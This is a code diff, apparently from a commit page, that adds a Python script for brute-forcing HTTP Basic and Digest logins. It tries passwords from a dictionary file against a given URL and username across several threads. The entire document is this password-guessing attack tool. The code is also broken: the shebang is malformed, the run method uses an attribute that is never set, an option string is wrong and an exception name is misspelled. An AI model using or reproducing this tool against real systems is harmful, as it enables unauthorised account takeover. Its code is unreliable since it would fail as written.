|
| 1 | +#/usr/bin/python |
| 2 | + |
| 3 | +import requests |
| 4 | +from threading import Thread |
| 5 | +import sys |
| 6 | +import time |
| 7 | +import getopt |
| 8 | +from requests.auth import HTTPDigestAuth |
| 9 | + |
| 10 | +global hit |
| 11 | +hit = "1" |
| 12 | + |
| 13 | +def banner(): |
| 14 | + print(''' -------------------- |
| 15 | + BASE OR DIGEST AUTH |
| 16 | + --------------------''') |
| 17 | +def usage(): |
| 18 | + print("Usage: -w <URL> -u <username> -t <number of threads> -f <dictionary file> -m <method (basic or digest)>") |
| 19 | + print("Example: python3 baseDigestAuth.py -w http://randomsite.com -u admin -t 5 -f passwords.txt -m basic\n") |
| 20 | + |
| 21 | + |
| 22 | +class request_performer(Thread): |
| 23 | + def __init__(self, passwd, user, url, method): |
| 24 | + Thread.__init__(self) |
| 25 | + self.password = passwd.split("\n")[0] |
| 26 | + self.username = user |
| 27 | + self.url = url |
| 28 | + self.method = method |
| 29 | + print("-" + self.password + "-") |
| 30 | + |
| 31 | + def run(self): |
| 32 | + global hit |
| 33 | + |
| 34 | + if hit == "1": |
| 35 | + try: |
| 36 | + if self.method == "basic": |
| 37 | + r = requests.get(self.url, auth=(self.user, self.password)) |
| 38 | + elif self.method == "digest": |
| 39 | + r = requests.get(self.url, auth=HTTPDigestAuth(self.user, self.password)) |
| 40 | + |
| 41 | + if r.status_code == 200: |
| 42 | + hit = "0" |
| 43 | + print("[+] Password Found - " + self.password) |
| 44 | + sys.exit() |
| 45 | + else: |
| 46 | + print("[-] Not Valid Password: " + self.password) |
| 47 | + i[0] = i[0] - 1 |
| 48 | + except Exception as e: |
| 49 | + print(e) |
| 50 | + |
| 51 | +def start(argv): |
| 52 | + banner() |
| 53 | + if len(sys.argv) < 5: |
| 54 | + usage() |
| 55 | + sys.exit() |
| 56 | + |
| 57 | + try: |
| 58 | + opts, args = getopt.getopt(argv, "u:w:f:m:t") |
| 59 | + except getopt.Getopterror: |
| 60 | + print("[-] Invalid Arguments") |
| 61 | + sys.exit() |
| 62 | + |
| 63 | + method = "" |
| 64 | + user = "" |
| 65 | + url = "" |
| 66 | + threads = 0 |
| 67 | + for opt, arg in opts: |
| 68 | + if opt == '-u': |
| 69 | + user = arg |
| 70 | + elif opt == '-t': |
| 71 | + threads = arg |
| 72 | + elif opt == '-w': |
| 73 | + url = arg |
| 74 | + elif opt == '-f': |
| 75 | + dictionary = arg |
| 76 | + elif opt == '-m': |
| 77 | + method = arg |
| 78 | + |
| 79 | + try: |
| 80 | + f = open(dictionary, "r") |
| 81 | + passwords = f.readlines() |
| 82 | + except: |
| 83 | + print("[-] Error. File Does Not Exist") |
| 84 | + sys.exit() |
| 85 | + |
| 86 | + launchThreads(passwords, threads, user, url, method) |
| 87 | + |
| 88 | +def launchThreads(passwords, threads, user, url, method): |
| 89 | + global i |
| 90 | + i = [] |
| 91 | + i.append(0) |
| 92 | + while len(passwords): |
| 93 | + if hit == "1": |
| 94 | + try: |
| 95 | + if i[0] < int(threads): |
| 96 | + password = passwords.pop(0) |
| 97 | + i[0] = i[0] + 1 |
| 98 | + thread = request_performer(password, user, url, method) |
| 99 | + thread.start() |
| 100 | + |
| 101 | + except KeyboardInterrupt: |
| 102 | + print("Program Interrupted") |
| 103 | + sys.exit() |
| 104 | + thread.join() |
| 105 | + |
| 106 | +if __name__ == "__main__": |
| 107 | + try: |
| 108 | + start(sys.argv[1:]) |
| 109 | + except KeyboardInterrupt: |
| 110 | + print("[-] Program Interrupted") |
0 commit comments